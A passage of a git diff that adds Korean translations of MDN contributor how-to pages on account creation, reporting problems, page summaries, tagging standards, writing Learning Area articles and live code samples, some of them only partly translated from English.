  7. 각 서비스별 인증 단계를 마치고 MDN 페이지로 돌아오면,  이름과 이메일 주소를 입력해야 합니다. 입력한 이름은 모든 작업물에 공개적으로 표시되므로, 메일 주소를 이름으로 사용하지 마십시오.
  8. +
  9. 'MDN 프로필 생성' 버튼을 클릭합니다.
  10. +
  11. 4단계에서 입력한 이메일 주소가 여러분이 인증한 서비스 프로필 상의 이메일 주소와 다르면, 입력한 이메일 주소가 올바른지 확인하게 됩니다. 입력한 이메일 주소로 발송된 확인 메일의 링크를 클릭하세요.
  12. +
+ +

이게 전부입니다! 이제 여러분의 MDN 계정이 생겼으니, 지금 당장 페이지들을 수정하거나 태그를 달 수 있습니다.

+ +

모든 MDN 페이지의 최상단에 있는 여러분의 이름을 클릭하면 여러분의 공개 프로필을 볼 수 있으며, "편집" 버튼을 눌러 새로운 정보를 업데이트 할 수 있습니다. 여러분의 관심사나 블로그 주소, 트위터 계정, 혹은 그 외의 어떤 것이라도 나누어 보세요.

+ +
+

참고: 새로운 사용자 이름에 공백이나 '@' 문자를 포함할 수 없습니다. 사용자 이름은 당신의 모든 작업물에서 공개적으로 보여진다는 것을 기억하세요!

+
+ +

 

diff --git a/files/ko/mdn/contribute/howto/report_a_problem/index.html b/files/ko/mdn/contribute/howto/report_a_problem/index.html new file mode 100644 index 0000000000..286b4b6ff6 --- /dev/null +++ b/files/ko/mdn/contribute/howto/report_a_problem/index.html @@ -0,0 +1,20 @@ +--- +title: MDN에 문제 보고하기 +slug: MDN/Contribute/Howto/Report_a_problem +translation_of: MDN/Contribute/Howto/Report_a_problem +--- +
{{MDNSidebar}}
+ +

가끔씩은 MDN을 이용하면서 몇몇 문제를 발견하게 될 수도 있습니다. 사이트의 내부 구조에서 생긴 문제나 문서 내용에 잘못된 점이 있다면, 직접 수정하거나 문제점을 보고할 수 있습니다. 물론 직접 수정해주는 것이 제일 좋겠지만, 문제점을 알려주는 것이 최선이라면 그것도 괜찮습니다.

+ +

문서의 오류

+ +

너무나 당연한 소리이지만, MDN은 위키이기 때문에 여러분들이 할 수 있는 가장 좋은 방법은 직접 수정해주는 것입니다. 하지만 어떻게 해야 할지 잘 모르겠거나 정말로 위급한 상황 하에 있을 경우에는, 다른 사람이 나중에 볼 수 있도록 문제점을 어딘가에 적어두고 싶을 수도 있습니다.

+ +

Mozilla의 모든 경우와 마찬가지로, 문서 요청 버그를 제출하여 문서의 문제점을 보고할 수 있습니다. 별로 복잡하지 않은 이 문서 요청 양식을 제출하면 우리가 문제를 해결할 수 있는 자료를 수집할 것입니다.

+ +

물론, 우리들의 쓰기 커뮤니티는 굉장히 바쁘기 때문에, 때로는 문제를 직접 수정하는 것이 가장 빨리 해결하는 방법입니다. 자세한 내용은 페이지를 만들고 수정하기를 참고하세요.

+ +

사이트 버그 신고나 기능 제안

+ +

MDN 웹사이트에 사용하기 위해 Mozilla가 개발한 플랫폼 Kuma는 지금도 계속해서 개발이 진행중입니다. 수많은 자원 봉사 기여자들을 포함한 우리 개발자들은 이를 끊임없이 개선하고 있습니다. 버그나 사이트의 문제점을 발견하였다면, 아니면 소프트웨어를 더 멋지게 만드는 방법을 제안하고 싶다면 Kuma 버그 양식으로 보고할 수 있습니다.

diff --git a/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html new file mode 100644 index 0000000000..e26a3d3a05 --- /dev/null +++ b/files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -0,0 +1,53 @@ +--- +title: 페이지에 대한 요약을 설정하는 방법 +slug: MDN/Contribute/Howto/Set_the_summary_for_a_page +translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page +--- +
{{MDNSidebar}}
+ +

MDN의 페이지에 대한 요약을 정의할 수 있습니다. 이 요약은 검색 엔진의 결과, 시사적인 랜딩 페이지와 같은 다른 MDN 페이지 또는 툴팁에서 다양하게 사용됩니다. 요약은 페이지 내용의 나머지가 없이도 페이지의 문맥과 다른 문맥에서 보여졌을 때 모두 의미가 통해야 합니다.

+ +

요약은 한 페이지 이내로 분명하게 정의됩니다. 요약이 분명하게 정의되지 않았다면, 보통 첫 번째 문장 정도가 사용되는데 이는 언제나 목적을 위한 최고의 텍스트가 아닙니다.

+ + + + + + + + + + + + + + + + + + + + +
어떤 일을 해야 하나요?다른 문맥에서 요약으로 사용되어야 하는 페이지 내의 텍스트를 표시하기; 필요하다면 이 작업은 적합한 텍스트를 작성하는 것을 포함할 수 있습니다.
어디서 이 일이 필요하나요?요약이 부족하거나 미흡한 페이지.
이 일을 하기 위해 무엇을 알아야 하나요?MDN 에디터 사용 능력; 좋은 영작문 솜씨; 좋은 요약을 작성하기 위한 주제에 대한 충분한 친숙도
이 일을 하기 위한 단계는 어떻게 되나요? +
    +
  1. 요약을 설정할 페이지를 고릅니다: +
      +
    1. MDN documentation status 페이지에서, Sections 아래에서 알고 있는 주제의 링크를 클릭합니다.(예를 들어, HTML).
    2. +
    3. 주제의 문서 상태 페이지에서 Summary 테이블의 Pages 헤더를 클릭합니다. 해당 주제 섹션의 모든 페이지 인덱스로 이동됩니다.; 왼쪽 열에는 페이지 링크들이, 오른쪽 열에는 태그와 요약들이 보입니다.
    4. +
    5. 요약이 없거나, 좋지 않은 요약을 가진 페이지를 고릅니다.
    6. +
    7. 링크를 클릭하여 해당 페이지로 갑니다.
    8. +
    +
  2. +
  3. Edit를 클릭하여서 MDN 에디터로 페이지를 엽니다.
  4. +
  5. 문맥과 상관없이 요약으로 사용될 한 문장 또는 두 문장을 찾습니다. 필요하다면, 기존의 내용을 수정하여서 문장이 좋은 요약이 되도록 만들거나 수정합니다.
  6. +
  7. 요약으로 사용될 텍스트를 선택합니다.
  8. +
  9. 에디터 툴바의 Styles 위젯에서 SEO Summary를 선택합니다. (이것은 페이지 소스에서 선택된 텍스트에 class="seoSummary"를 가진 {{HTMLElement("span")}} 엘레멘트를 추가합니다. )
  10. +
  11. "페이지 요약 설정"과 같은 수정 코멘트와 함께 변경사항을 저장합니다.
  12. +
+
+ +

 

+ +

 

+ +

 

diff --git a/files/ko/mdn/contribute/howto/tag/index.html b/files/ko/mdn/contribute/howto/tag/index.html new file mode 100644 index 0000000000..a0604dc8fa --- /dev/null +++ b/files/ko/mdn/contribute/howto/tag/index.html @@ -0,0 +1,396 @@ +--- +title: 페이지에 올바르게 태그하는 방법 +slug: MDN/Contribute/Howto/Tag +tags: + - Beginner + - Contribute + - Glossary + - Guide + - Howto + - Intro + - MDN Meta + - Tutorial +translation_of: MDN/Contribute/Howto/Tag +--- +
{{MDNSidebar}}
+ +

문서 태그는 방문자에게 유용한 컨텐츠를 제공하는 중요한 방법입니다. 각 페이지는 콘텐츠 정리에 도움을 줄 수 있도록 몇 개의 태그를 가져야 합니다. 본 페이지는 독자들이 정보를 찾을 때나, 사이트를 체계적으로 유지할 때 필요한 페이지 태그를 하는 가장 좋은 방법을 설명합니다.

+ +

태그를 편집할 때 사용하는 인터페이스에 대한 도움이 필요하시면, 편집 가이드의 태그 섹션을 참고하세요.

+ +

아래의 설명처럼 태그를 적절히 사용해주세요. 그렇지 않으면, 저희의 자동화 도구가 콘텐츠 목록, 랜딩 페이지, 문서 간 링크 등을 정확하게 생성하지 못합니다.

+ +

MDN이 태그를 사용하는 방법

+ +

MDN은 태그를 여러가지 방법으로 사용합니다.

+ +
+
문서 분류
+
어떤 종류의 문서인가요? 레퍼런스? 튜토리얼? 랜딩 페이지? 저희 방문자는 태그를 사용해 검색 결과를 필터링 할 수 있으므로 매우 중요합니다.
+
항목 식별
+
무엇에 관한 문서인가요? API? DOM? 그래픽? 다시 말씀드리지만, 태그를 사용해 검색 겨로가를 필터링 할 수 있으므로 중요합니다.
+
API 식별
+
API 레퍼런스 페이지는 문서화된 API의 특정 구성요소를 식별할 수 있어야 합니다. (즉, 어떤 인터페이스인지, 그리고 해당되는 경우에 페이지가 다루는 속성이나 방법).
+
기술 현황
+
이 기술의 상태는 어떤가요? 비표준인가요? 더 이상 사용되지 않나요? 실험 단계인가요?
+
기술 수준
+
튜토리얼이나 가이드의 경우, 이 글이 다루는 내용이 얼마나 어려운가요?
+
문서 메타데이터
+
기여자 커뮤니티는 태그를 사용하여 어떤 페이지에 어떤 작업이 필요한지 추적합니다.
+
+ +

태그 유형별 가이드

+ +

다음은 태그 유형 및 적합한 값에 대한 빠른 가이드입니다.

+ +

문서 카테고리

+ +

여기에 있는 카테고리들로 글을 태그하면, 자동화 시스템이 방문 페이지, 목차 등을 좀 더 정확하게 생성할 수 있습니다. 저희의 새로운 검색 시스템은 이런 용어들을 사용해서 방문자들이 레퍼런스나 가이드 정보를 찾을 수 있을 겁니다.

+ +

다음과 같은 카테고리 명을 표준 태그로 사용하고 있습니다.

+ +
+
{{Tag("Intro")}}
+
+

이 문서는 주제에 관한 입문 자료를 제공합니다. 이상적으로는 각 기술 영역에 하나의 인트로만 존재해야 합니다.

+
+
{{Tag("Reference")}}
+
이 문서는 API, 요소(Element), 속성 등에 관한 참조 자료가 포함되어 있습니다.
+
{{Tag("Landing")}}
+
이 문서는 랜딩 페이지입니다.
+
{{Tag("Guide")}}
+
이 문서는 방법 일람이나 가이드입니다.
+
{{Tag("Example")}}
+
이 문서는 코드 샘플 페이지거나, 코드 샘플(한 줄짜리 구문 예제가 아닌 실제로 유용한 코드 조각)을 포함하고 있습니다.
+
+ +

주제

+ +

주제의 범위를 밝힘으로써 검색 결과를 개선하는데 도움을 주실 수 있습니다(또한 랜딩 페이지와 네비게이션에도 도움을 줍니다).

+ +

새로운 항목이 생길 수 있어 유연성을 위한 여지가 있긴 하지만, 되도록 API나 기술의 이름으로 제한하려고 합니다. 자주 쓰이는 예시입니다.

+ + + +

대체로, your topic identification tag should be the name of an interface with a number of related pages (like Node, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with Graphics and WebGL, for example, but a page about {{HTMLElement("canvas")}} with HTML, Element, Canvas, and Graphics.

+ +

모질라 관련 콘텐츠

+ +

아래 태그는 모질라 관련 콘텐츠에만 사용합니다.

+ + + +

API 식별

+ +

API 참조 내에서 각 문서는 API에서 다루는 부분을 식별해야합니다.

+ +
+
{{tag("Interface")}}
+
The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.
+
{{tag("Constructor")}}
+
Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.
+
{{tag("Property")}}
+
Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.
+
{{tag("Method")}}
+
Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.
+
+ +

In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:

+ +
+
The interface {{domxref("RTCPeerConnection")}}
+
Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).
+
The method {{domxref("RTCPeerConnection.createOffer()")}}
+
Include the tags "RTCPeerConnection" and "createOffer" (note no parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.
+
The property {{domxref("RTCPeerConnection.iceConnectionState")}}
+
Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".
+
+ +

기술 상태

+ +

To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.

+ +

다음 태그와 가능한 값은 다음과 같습니다:

+ +
+
{{Tag("Read-only")}}
+
Apply this tag to reference pages which describe a property or attribute which is read-only.
+
{{Tag("Non-standard")}}
+
Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.
+
{{Tag("Deprecated")}}
+
The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.
+
{{Tag("Obsolete")}}
+
The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.
+
{{Tag("Experimental")}}
+
The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.
+
{{Tag("Needs Privileges")}}
+
The API requires privileged access to the device on which the code is running.
+
{{Tag("Certified Only")}}
+
The API only works in certified code.
+
+ +

These tags are no excuse to leave out the compatibility table in your article! That should always be present.

+ +

기술 수준

+ +

Use the skill-level tag type only for guides and tutorials (that is, pages tagged Guide) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:

+ +
+
{{Tag("Beginner")}}
+
Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.
+
{{Tag("Intermediate")}}
+
Articles for users who have gotten started with the technology but aren't experts.
+
{{Tag("Advanced")}}
+
Articles about stretching the capabilities of a technology and of the reader.
+
+ +

문서 메타데이터

+ +

글쓰기 커뮤니티는 태그를 사용하여 문서에 특정 유형의 작업이 필요하다고 표시합니다. 우리가 가장 많이 사용하는 목록은 다음과 같습니다:

+ +
+
{{Tag("Draft")}}
+
The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.
+
{{Tag("NeedsContent")}}
+
The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.
+
{{Tag("NeedsExample")}}
+
The article needs one or more examples created to help illustrate the article's point. These examples should use the live sample system.
+
{{Tag("NeedsLiveSamples")}}
+
The article has one or more examples that need to be updated to use the live sample system.
+
{{Tag("NeedsUpdate")}}
+
The content is out of date and needs to be updated.
+
{{Tag("l10n:exclude")}}
+
The content is not really worth localizing and will not appear on localization status pages.
+
{{Tag("l10n:priority")}}
+
The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.
+
+ +

조합하기

+ +

각 페이지에 여러 유형의 태그를 할당할 수 있습니다.

+ +
+
초보자를 위한 WebGL 튜토리얼
+
WebGL, Graphics, Guide, Beginner
+
{{HTMLElement("canvas")}}용 레퍼런스 페이지
+
Canvas, HTML, Element, Graphics, Reference
+
Firefox OS 개발자 도구용 랜딩 페이지
+
Tools, Firefox OS, Landing
+
+ +

태그 추가 및 검색 필터

+ +

MDN 페이지에 올바르게 태그를 지정하지 않으면 검색 필터가 제대로 작동하지 않습니다. 다음은 검색 필터 목록과 검색 태그입니다.

+ +
+

참고: If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
필터
+ 그룹
검색명태그명
주제Open Web Apps{{Tag("Apps")}}
 HTML{{Tag("HTML")}}
 CSS{{Tag("CSS")}}
 JavaScript{{Tag("JavaScript")}}
 APIs and DOM{{Tag("API")}}
 Canvas{{Tag("Canvas")}}
 SVG{{Tag("SVG")}}
 MathML{{Tag("MathML")}}
 WebGL{{Tag("WebGL")}}
 XUL{{Tag("XUL")}}
 Marketplace{{Tag("Marketplace")}}
 Firefox{{Tag("Firefox")}}
 안드로이드 용 Firefox{{Tag("Firefox Mobile")}}
 데스크탑 용Firefox{{Tag("Firefox Desktop")}}
 Firefox 운영체제{{Tag("Firefox OS")}}
 모바일{{Tag("Mobile")}}
 웹 개발{{Tag("Web Development")}}
  +

애드온 &
+ 확장프로그램

+
{{Tag("Add-ons ")}}|| {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}}
 게임{{Tag("Games")}}
기술
+ 수준
전문가{{Tag("Advanced")}}
 중급자{{Tag("Intermediate")}}
 초급자{{Tag("Beginner")}}
+

문서 
+ 형식

+
문서This restricts the search to docs content, leaving out Hacks and other MDN content.
 체험판This includes Demo Studio content in the search results.
 도구{{Tag("Tools")}}
 코드 샘플{{Tag("Example")}}
 튜토리얼{{Tag("Guide")}}
 개발자
+ 프로필
This includes developer profiles from the MDN site in the search results.
 외부
+ 리소스
The dev team is still figuring this out...
+ +

해결할 수 있는 태그 추가 문제

+ +

해결할 수 있는 여러 종류의 태그 추가 문제가 있습니다:

+ +
+
태그 없음
+
Generally articles should have at least a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!
+
표준을 따르지 않은 태그
+
Please fix any documents whose tags don't follow the standards on this page.
+ Note that you may occasionally see some localized tags (such as Référence) showing up on some English pages. This was due to a bug in Kuma, which caused the tags to reappear even if they were deleted. That bug has since been fixed, so any remaining localized tags can be cleaned up if they're spotted.
+
올바르지 않은 태그
+
If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).
+
누락된 태그
+
If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!
+
스팸 태그
+
This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.
+
+ +

If you see one (or more) of these problems, please log into MDN and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "The tags box" in the MDN editor guide.

diff --git a/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html b/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html new file mode 100644 index 0000000000..8825a20a62 --- /dev/null +++ b/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html @@ -0,0 +1,69 @@ +--- +title: JavaScript tag를 다는 방법 +slug: MDN/Contribute/Howto/Tag_JavaScript_pages +translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages +--- +
{{MDNSidebar}}

태그달기는 페이지에 메타 정보를 추가함을 통해 관련된 내용이 묶여질수 있도록 하는 작업을 포함합니다.

+ +
+
어디서 필요한가요?
+
태그가 없는 JavaScript에 관련된 특정한 페이지안에서 필요합니다.
+
작업을 위해서 무엇을 알 필요가 있나요?
+
메소드나 변수들과 같은 기본적 JavaScript 코딩 지식이 필요합니다.
+
어떤 절차가 있나요?
+
+
    +
  1. 위에 링크된 페이지들중 하나를 선택하세요
  2. +
  3. 페이지를 로드하기위해 기사링크를 클릭하세요
  4. +
  5. 페이지가 로드됐다면, 맨 위 있는EDIT버튼을 클릭하세요; 이는 당신을 MDN 에디터로 만들어줍니다.
  6. +
  7. 적어도 JavaScript 태그가 추가돼야 합니다. 아래에는 가능한 다른 태그들입니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    TagWhat pages to use it on
    Methodmethods
    Propertyproperties
    prototypeprototypes
    Object type namemethods of an object; for example String.fromCharCode should have the tag String
    ECMAScript6 and Experimentalfeatures added in a new ECMAScript version
    Deprecateddeprecated features (whose use is discouraged but still supported)
    Obsoleteobsolete features (which are no longer supported in modern browsers)
    othersSee MDN tagging standards for other possible tags to apply
    +
  8. +
  9. Save with a comment.
  10. +
  11. You're done!
  12. +
+
+
+ +

 

diff --git a/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html new file mode 100644 index 0000000000..1eddcc7383 --- /dev/null +++ b/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html @@ -0,0 +1,108 @@ +--- +title: 사람들이 웹에 대해 알 수 있도록 기사를 작성하는 방법 +slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +--- +
{{MDNSidebar}}
+ +

MDN의 학습 영역(Learning Area)은 새로운 개발자들에게 웹 개념을 소개하는 글들을 위한 우리의 집입니다. 왜냐하면 학습 영역의 콘텐츠는 대부분 초보자를 위한 것들이고, 당신의 지식을 공유하고 웹에 대해서 알고 싶은 사람들을 돕는 좋은 공간이기 때문입니다. 새로운 개발자들이 이 콘텐츠를 따라 할 수 있도록 하는 것이 중요합니다. 따라서 우리는 특별히 관심을 기울여야 합니다. 

+ +

이 글에서는 학습 영역(Learning Area)을 위한 페이지를 작성하는 방법을 설명합니다.

+ +

학습 영역 기사를 작성하는 방법

+ +

당신의 지식을 공유하려면 아래의 큰 초록색 버튼을 누르세요. 그러면 다섯 단계로 이어집니다. 만약 당신이 아이디어를 찾는다면, 우리의 트렐로 보드(our team Trello board)를 살펴보세요.

+ +

새 학습 기사 작성

+ +

이 기사는 정확한 위치에 도달할 수 없을지도 모르지만, 최소한 그것은 MDN에게 달려 있습니다. 만약 당신이 정확한 위치로 옮기고 싶다면 우리(Contact us)에게 연락해 주세요.

+ +

1단계 : 두개의 요약문 작성

+ +

기사의 첫 문장은 당신이 다루고자 하는 주제를 요약해야 하고, 두번째 문장은 당신이 기사에 실린 물건들을 좀 더 구체적으로 다루어야 합니다. 예를 들어 :

+ +
+

{{glossary("HTML")}}  HTML파일에는 정형 콘텐츠, {{Glossary("CSS")}}, 또 다른 주요 웹 기술이 포함되어 있어 콘텐츠를 원하는 대로 바라볼 수 있습니다.  이 기사에서는 이 기술이 어떻게 작동하는지, 어떻게 기본적인 예제를 작성하는지 살펴보겠습니다. 

+
+ +

예를 들어 CSS가 페이지 스타일에 사용되는 핵심 웹 기술이라고 간단히 설명해 주세요. 그것은 독자들이 기사의 주제가 무엇인지에 대한 꽤 좋은 아이디어를 얻을 수 있는 충분한 근거가 됩니다. 

+ +

왜냐하면 학습 영역 기사들은 주로 초보자를 대상으로 하고, 각각의 기사는 너무 많은 새로운 정보로 독자들을 압도하지 않도록 한가지 간단한 주제를 다루어야 하기 때문입니다. 만약 당신이 기사를 한 문장으로 요악하지 못하면,  너무 많은 것을 하나의 기사에서 다뤄야 할 지도 모릅니다.

+ +

2단계 : 상단 상자 추가

+ +

그리곤 독자들의 학습 과정에서 어떤 영향이 있는지 파악하는 것을 돕기 위해서 상단 상자를 추가합니다.  하단에 하나의 예로"URL과 그 구조의 이해(Understanding URLs and their structure)"에 대한 상단 상자가 있습니다. 당신의 기사를 쓰는 데 이 기사를 참고할 수 있습니다.

+ + + + + + + + + + + + +
필수 조건:먼저 인터넷이 어떻게 작동하는지(how the Internet works), 웹서버가 무엇인지(what a Web server is), 웹에서 링크의 개념(the concepts behind links on the web)을 알아야 합니다.
목표:URL에 대해서와 URL이 어떻게 웹에서 작동하는지를 배웁니다.
+ +
+
필수 조건
+
독자가 이 기사를 이해하기 위해 반드시 알고 있어야 할 것이 무엇인가요? 가능한 한 각 필수 요소에 대한 링크를 해당 개념을 다루는 다른 학습 영역 문서에 연결하세요. (사전 지식이 필요 없는 기초적인 기사가 아니라면)
+
목표
+
+

이 섹션에서는 독자가 글을 통해 습득할 내용을 간략하게 설명합니다. 이것은 요약문과는 좀 다릅니다, 요약문에서는 기사의 주제를 요약하지만 목표 부분은 독자들이 기사의 과정을 통해 달성할 수 있는 것을 구체적으로 제시합니다.

+
+
+ +
+

Note: 이 테이블을 생성하려면, 위의 예제 테이블을 복사하여 붙여 넣을 수 있으며, MDN의 editor의 table tool을 사용할 수 있습니다. 테이블 도구를 사용하도록 선택한 경우에는 기본 standard-table 클래스 이외에 learn-box CSS 클래스를 추가해야 합니다. 이렇게 하려면 테이블 속성을 생성하거나 편집할 때"Advanced"패널로 이동하여 스타일시트 클래스 필드를 "standard-table learn-box"로 설정합니다. 

+
+ +

3단계 : 전체 설명 작성

+ +

다음으로 가장 중요한 개념을 강조하는 기사를 좀 더 자세히 설명하는 더 긴 설명을 작성합니다. 왜 독자들이 이 주제를 배우고 당신의 기사를 읽는 데 시간을 할애해야 하는지 설명하는 것을 잊지 마세요!

+ +

4단계 : 깊이 들어가기

+ +

모든 작업을 마친 후, 마침내 주제에 더욱 깊이 들어갈 수 있습니다. 원하는 대로 이 분야의 기사를 작성합니다(우리의 style guide를 자유롭게 참고하셔도 됩니다).  당신이 빛날 수 있는 기회입니다! 작성하는 주제에 대해 자세히 설명합니다. 전체 참조 문서에 대한 링크를 제공하고, 기술이 어떻게 작동하는지 설명하고, 구문 및 사용 상세 내역을 제공하는 방법을 설명합니다. 당신이 하고 싶은 대로 하세요!

+ +

가이드로서, 여기에 초보자들을 위한 몇가지 조언이 있습니다:

+ + + +

우리 기능의 첫번째 섹션을 살펴보세요. 몇가지 좋은 설명 섹션을 볼 수 있는 코드 문서를 보세요.(Functions — reusable blocks of code)

+ +

5단계 : "능동적 학습" 자료 제공

+ +

기사에 삽화를 넣는 것은 독자들이 더 쉽게 이해하고 배우는데 도움이 된다. 완수할 수 있는 연습, 튜토리얼 과제를 제공하세요. 여러분의 기사를 적극적으로 사용하고 실험하고 실험하고 실험하는 것을 통해, 여러분은 그들의 뇌에 정보를 "잠금" 하는 것을 도울 수 있습니다.

+ +

직접 예제(live samples)로 페이지 안에 포함시키거나 직접 예제처럼 제대로 작동하지 않는 경우 링크하는 것(link to them)을 선택할 수 있습니다. 만약 여러분이 이 가치있는 자료를 만드는데 관심이 있다면, 웹을 배우는 것을 돕기 위한 대화형 연습 만들기(Create an interactive exercise to help learning the Web) 에 대한 기사를 읽어보세요.

+ +

기존의 능동적인 학습 자료에 대한 링크를 제공할 수 없는 경우(관련 자료에 대해서 모르거나 만들 시간이 없을 경우) "NeedsActiveLearning"를 문서에 태그하세요. 다른 기여자들은 능동적인 학습 자료가 필요한 기사를 찾을 수 있고 당신이 그것들을 고안해 낼 수 있도록 도와 줄 지도 모릅니다.

+ +

실시간 상호적인 학습 연습에 대한 Active learning: selecting different elements를 살펴보거나 Active learning: Playing with scope를 통해 로컬에서 탬플릿을 다운로드하고 수정하는 다양한 형태의 연습이 제공한 단계를 따라가세요.

+ +

6단계 : 문서를 검토하고 탐색 영역 메뉴에 추가하세요

+ +

기사를 쓰고 난 후, 우리가 보고 검토하고 개선점을 제안할 수 있도록 알려주세요. 연락할 수 있는 가장 좋은 방법은 당사의 연락처(Contact us) 섹션을 참조하는 것입니다.

+ +

당신의 기사를 마무리하는 또 다른 방법은 학습 영역 기본 탐색 메뉴에 넣는 것입니다. 이 메뉴는 LearnSidebar 매크로에 의해 생성되어 편집할 특별한 권한이 필요합니다. 따라서 팀에서 추가한 내용에 대해 다시 한번 말씀 드리겠습니다.

+ +

당신의 페이지에 기사를 추가해야 합니다. 이것은 당신의 페이지 맨 위에 있는 단락에 매크로(\{{LearnSidebar}})를 추가함으로써 이루어집니다.

+ + + +

추천 기사

+ +

기여를 하고 싶은데 어떤 것을 써야 할 지를 모르겠나요?

+ +

학습 영역 팀은 글을 쓰기 위한 아이디어가 담긴 트렐로 보드(a Trello board with ideas of articles)를 유지합니다. 하나를 골라서 자유롭게 작성하세요! 

diff --git "a/files/ko/mdn/contribute/howto/\354\202\264\354\225\204\354\236\210\353\212\224_\354\275\224\353\223\234_\354\203\230\355\224\214\353\241\234_\353\263\200\355\231\230\355\225\230\352\270\260/index.html" "b/files/ko/mdn/contribute/howto/\354\202\264\354\225\204\354\236\210\353\212\224_\354\275\224\353\223\234_\354\203\230\355\224\214\353\241\234_\353\263\200\355\231\230\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..27ac6774f1 --- /dev/null +++ "b/files/ko/mdn/contribute/howto/\354\202\264\354\225\204\354\236\210\353\212\224_\354\275\224\353\223\234_\354\203\230\355\224\214\353\241\234_\353\263\200\355\231\230\355\225\230\352\270\260/index.html" @@ -0,0 +1,39 @@ +--- +title: '"살아있는" 코드 샘플로 변환하기' +slug: MDN/Contribute/Howto/살아있는_코드_샘플로_변환하기 +tags: + - 라이브샘플 + - 살아있는 코드 + - 샘플코드 +translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live +--- +
{{MDNSidebar}}

MDN의 라이브 샘플 시스템이란, 페이지에서 보여주는 샘플 코드를 수정하면 이 샘플 코드의 실행 결과도 달라지는 기능을 말합니다. 많은 문서에 샘플 코드들이 있지만 모든 샘플이 이 시스템을 사용하고 있지는 않으며, 생명력을 불어 넣어줘야 합니다.

+ + + + + + + + + + + + + + + +
어디서부터 시작해야 하나요?라이브 샘플이 필요한 글 목록을 참고하세요.
작업을 위해 알아 두어야 할 사항은 무엇인가요? +
    +
  • HTML, CSS에 대한 이해가 필요합니다. 샘플에 따라 JavaScript에 대한 지식을 요구할 수도 있습니다.
  • +
  • MDN 문서 내에서 쿠마 스크립트(en) 매크로를 사용할 수 있어야 합니다.
  • +
+
작업 진행 절차는 어떻게 되나요? +

라이브 샘플을 삽입하는 방법을 포함하여, 올바른 라이브 샘플을 작성하려면 라이브 샘플 시스템 사용하기(en) 문서를 참고하세요.

+
    +
  1. 라이브 샘플이 필요한 글 목록에서 마음에 드는 글을 고르세요.
  2. +
  3. 샘플에 "생명력을 불어 넣으세요".
  4. +
  5. 과거의 것들은 지워버리세요.
